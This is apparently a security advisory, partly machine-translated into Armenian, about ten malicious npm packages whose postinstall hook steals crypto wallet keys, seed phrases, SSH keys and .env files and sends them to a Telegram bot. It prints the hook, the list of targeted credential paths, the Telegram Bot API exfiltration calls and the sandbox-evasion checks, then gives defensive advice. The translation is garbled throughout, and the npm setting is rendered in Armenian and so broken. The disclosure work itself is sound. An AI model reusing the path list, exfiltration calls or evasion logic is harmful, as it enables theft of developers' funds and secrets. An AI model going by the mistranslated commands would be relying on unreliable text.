TL. DR
2026 թվականի հունիսի 9-ին մեկ npm հրատարակչի հաշիվ, aicrypto-xzggg, առաքվել է տասը փաթեթ կրիպտո- և Web3-ի համեմված անուններով — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, և ևս վեցը։
Յուրաքանչյուր փաթեթ նույն բեռը կրում է a-ից postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
Միակ ցուցիչը, որը պաշտպանը կարող է անմիջապես փնտրել, Telegram բոտի ID-ն է։ 8227918239.
Ծանրությունը ` քննադատական — direct theft of signing keys and recovery phrases from մշակողի աշխատակայաններ.
Հարձակումը. Ինչպես է այն գործում
Փաթեթները գովազդում են իրենց որպես բլոկչեյն մշակողների համար նախատեսված գործիքներ։ package.json նվազագույն է և տեղադրման կենսացիկլը ցույց է տալիս սկրիպտի վրա՝
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}սկրիպտներ/postinstall.js միագիծ շեմ է, որը բեռնում է իրական օգտակար բեռը։ պահանջել («../src/index.js»). Որովհետեւ հետինստալյացիա ավտոմատ կերպով գործում է ընթացքում npm տեղադրել, մշակողի կողմից կոդի ներմուծում անհրաժեշտ չէ. փաթեթը կախվածության ծառում տեղադրելը բավարար է այն գործարկելու համար։
Սպանության շղթան ներսում src/index.js չորս քայլ է.
- Միջավայրի ստուգում։ Պահպանման ֆունկցիան որոշում է, թե արդյոք հոսթը նման է կառուցման գործակալի, թե՞ վերլուծության ավազատուփի։
- Հետաձգում. Կատարումը հետաձգվում է սահմանելժամանակի ավարտ մոտ 7.4 վայրկյանում։
- Հավաքածու: Անցնում ենք դրամապանակի, բանալու և գաղտնի ֆայլերի ֆիքսված ցանկով, իսկ առկա ֆայլերը հերթագրվում են։
- Էքսֆիլտրացիա։ Հերթում գտնվող ֆայլերը ուղարկվում են Telegram բոտին, որին նախորդում է ամփոփ հաղորդագրություն։
Հավաքածուի թիրախային ցանկը ընդգրկում է վեց շղթա՝ գումարած ընդհանուր մշակողների գաղտնիքները։ Կտրված՝
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localԸնդհանուր առմամբ քսանմեկ ուղի։ Տեղեկատուի գրառումներ, ինչպիսիք են՝ ~/.ethereum/keystore ընդարձակվում են, և ներսում գտնվող յուրաքանչյուր ֆայլ հերթագրվում է։ Արտազատումը անմիջապես օգտագործում է Telegram Bot API-ը՝ ուղարկել հաղորդագրություն զանգահարեք հոսթի և ֆայլի ամփոփագրով, ապա՝ ուղարկել փաստաթուղթ բազմամաս բեռնում յուրաքանչյուր ֆայլի համար՝
տեքստ
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Կոդի կողմից հավաքված ամփոփ հաղորդագրությունը սկսվում է բառացի տողից Գաղտնագիր գողացող, որին հաջորդում են հոսթի անունը, օգտատիրոջ անունը, սկզբնական փաթեթի անվանումը, ֆայլերի քանակը և ժամանակային նշագիծը։
Ի՞նչ նորություններ կան այստեղ
Տարբերակիչը գողության մեխանիզմը չէ — Telegram-ի վրա հիմնված exfil՝ npm-ից հետինստալյացիա hooks լավ ոտնակոխ է արված։ Դա մահապատժի դարպասը։ Մինչև որևէ բան անելը, payload-ը կանչում է մի ֆունկցիա, որը վերադարձնում է true, երբ հոսթը նմանվում է CI runner-ի կամ sandbox-ի, և վերադարձնում է վաղ, երբ նմանվում է։
տեքստ
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Container-id regex-ը նշանակալի պայման է. 12-տասնվեցանիշանոց հոսթի անունը Docker-ի կողմից տրված լռելյայն ձևն է։ աման, ուստի օգտակար բեռը «իմ հոսթի անունը Docker կոնտեյների տեսք ունի» արտահայտությունը դիտարկում է որպես անգործուն մնալու պատճառ: Յոթ վայրկյան ուշացման հետ մեկտեղ, դիզայնը նախընտրում է աշխատել մշակողի իրական աշխատանքային կայանի վրա և լռել ցանկացած վայրում, որը նման է ավտոմատացված վերլուծության: Այդ դարպասն էր, որը ճնշում էր դինամիկ վերլուծության ազդանշանները և պահպանում ստատիկ exfil հոսքը որպես հիմնական համոզմունքի ապացույց:
Խրոնոլոգիա
Բոլոր տասը գրքերը հայտնվեցին մոտավորապես յոթանասուն րոպեի ընթացքում, ինչը համապատասխանում է մեկ հաշվի կողմից սցենարով նախատեսված մեկ հրատարակության։
Փոխզիջման ցուցանիշներ
Ցանցային և վարքային ցուցանիշներ (հոսթի պաշտպանված):
Փաթեթներ և տարբերակներ, որոնցից յուրաքանչյուրը իր SHA-256-ով է src/index.js օգտակար բեռնվածություն (օգտակար բեռները ֆունկցիոնալ առումով նույնական են և տարբերվում են միայն ներդրված փաթեթի անվան պիտակով, ուստի յուրաքանչյուր հեշ տարբեր է):
Պարզ որոնման հարցում. որոնեք տեղադրման գրանցամատյաններում և կողպեքի ֆայլերում՝ տասը անուններից որևէ մեկը գտնելու համար, և որոնեք ելքային երթևեկություն՝ Telegram Bot API-ին միացումներ գտնելու համար՝ կառուցման կամ մշակողի հոսթերից, որոնք այլ կերպ չեն օգտագործում այն։
Վերագրում և դիտարկվող վարքագիծ
Բոլոր տասը փաթեթները հրապարակվել են մեկ հաշվի կողմից, aicrypto-xzggg, որի նշված էլ․ հասցեն է vipsyria88@gmail[.]comԳրանցամատյանի մետատվյալներում թե՛ էլ․ հասցեն, թե՛ աղբյուր-վերահսկիչ հղումը չեն ստուգվել, և հաշիվն ունի խիստ բացասական հեղինակության գնահատական։ Մենք չենք հաստատել, թե ով է շահագործում հաշիվը։
Երկու մանրամասնություն արժե առանձնացնել ցանկացած ինքնության պնդումից։ Նախ, package.json հեղինակ դաշտային ընթերցումներ Alex Smith յուրաքանչյուր փաթեթի վրա, մինչդեռ իրական հրատարակչական հաշիվը aicrypto-xzggg; հեղինակի դաշտը ինքնահռչակված մետատվյալ է և չի հաստատում հեղինակությունը։ Երկրորդ, տարբերակների համարները մեծապես տարբերվում են՝ որոշ անդամներ գտնվում են 1.0.0, մյուսները՝ 4.68.54 — ինչը համապատասխանում է նոր ստեղծված փաթեթների անուններով մեկ բեռի վերօգտագործմանը՝ իրական թողարկումների պատմությունը պահպանելու փոխարեն։
Վարքագիծը միատարր է ամբողջ կլաստերում՝ նույն թիրախային ուղիների ցանկը, նույն Telegram բոտի և չատի նույնականացուցիչները, նույն միջավայրի դարպասը, նույնը Գաղտնագիր գողացող մարկեր։ Այդ միատարրությունը փաթեթների միջև ամենաուժեղ կապն է։ Դա նույն օպերատորի ազդանշան է, այլ ոչ թե նույնականություն։
Ազդեցություն, միտումներ և ուղեցույց պաշտպանների համար
Բացահայտումը կոնկրետ է։ Մշակողը, որը տեղադրում է այս փաթեթներից որևէ մեկը աշխատանքային կայանի վրա, որը պարունակում է ծրագրային դրամապանակ, սկզբնական արտահայտության ֆայլ կամ SSH բանալի, այդ ֆայլերը կարդում և փոխանցում է հոսթից վայրկյանների ընթացքում։ Վերականգնման արտահայտությունները և ստորագրման բանալիները չեն լրանում այնպես, ինչպես սեսիայի տոկենը. մեկ անգամ mnemonic.txt կամ Սոլանա id.json մեքենայից դուրս գալու դեպքում դրա կողմից վերահսկվող միջոցները վտանգի տակ են մինչև դրանց տեղափոխումը։ Նույն վազքը նաև գրավում է .env ֆայլեր, որոնք պարբերաբար կրում են API բանալիներ և տվյալների բազայի մուտքագրման տվյալներ։
Այս կլաստերի հետևում կանգնած են երկու միտումներ։ Առաջինը կրիպտո և Web3 թեմատիկ անունների շարունակական օգտագործումն է՝ որոշակի լսարան գրավելու համար՝ մշակողներ, ովքեր դրամապանակներ և բանալիներ են պահում նույն մեքենայի վրա, որտեղ տեղադրում են կախվածություններ։ Երկրորդը sandbox-ի խուսափողականության հասունացումն է տեղադրման ժամանակի բեռներում։ CI միջավայրի փոփոխականները, վազորդի օգտանունները և Docker կոնտեյներ-id հոսթինի անվան ձևը ստուգող դարպասը միտումնավոր ջանք է գործադրում վերլուծության ժամանակ իրական աշխատանքային կայանից տարբեր կերպ վարվելու համար, և այն բարձրացնում է զուտ դինամիկ հայտնաբերման չափանիշը։
Պաշտպանների համար.
Տեղադրել լռելյայնորեն անջատված սկրիպտներով։ npm install –ignore-scripts, կամ սահմանել անտեսել-սկրիպտներ=ճշմարիտ in .npmrc, կանխում է հետինստալյացիա կատարում; միացնել սկրիպտները միայն այն կոնկրետ կախվածությունների համար, որոնք իսկապես կարիք ունեն դրանց։
Պահեք դրամապանակները և ստորագրման բանալիները կառուցման և մշակման մեքենաներից դուրս: Օգտագործեք ապարատային դրամապանակ կամ նվիրված, կախվածությունից զերծ ստորագրման հոսթ:
Վարվել .env, keystores և seed-phrase ֆայլերը որպես թագի զարդեր։ Դրանք երբեք չպետք է գտնվեն այնպիսի գրացուցակում, որը նաև npm տեղադրել աշխատանքային ծառ։
Փնտրեք Telegram Bot API-ի հետ ելքային կապեր CI-ից և մշակողների հոսթերից: Կառուցման միջավայրերի մեծ մասը երբեք չի կանչում այն. այն միջավայրը, որը հանկարծակի կանչում է այն տեղադրումից անմիջապես հետո, արժե ուսումնասիրել:
Կախվածությունների ամրագրում և վերանայում: Նոր փաթեթ՝ ընդհանուր կրիպտո անունով, հետինստալյացիա կեռիկ, և ոչ մի պահոցի հղում չի պահանջում զննում նախքան այն կողպված ֆայլ մտնելը։
Կոնտեյների նույնականացուցիչից խուսափելու կետը նաև հիշեցում է վերլուծաբանների համար. տեղադրման ժամանակի ընթացքում «sandbox»-ում անգործուն մնացող օգտակար բեռը վնասակար չէ, այն ընտրողական է: Տեղադրման ուղու ստատիկ վերանայումը մնում է հուսալի միջոց՝ տեսնելու, թե դինամիկ կատարումը ինչ կարող է չցուցադրել:
Սայլակ
npm տեղադրման փաստաթղթեր՝ կյանքի ցիկլի սկրիպտներ և –ignore-scripts— հղում ավտոմատ տեղադրումը անջատելու համար hooks.
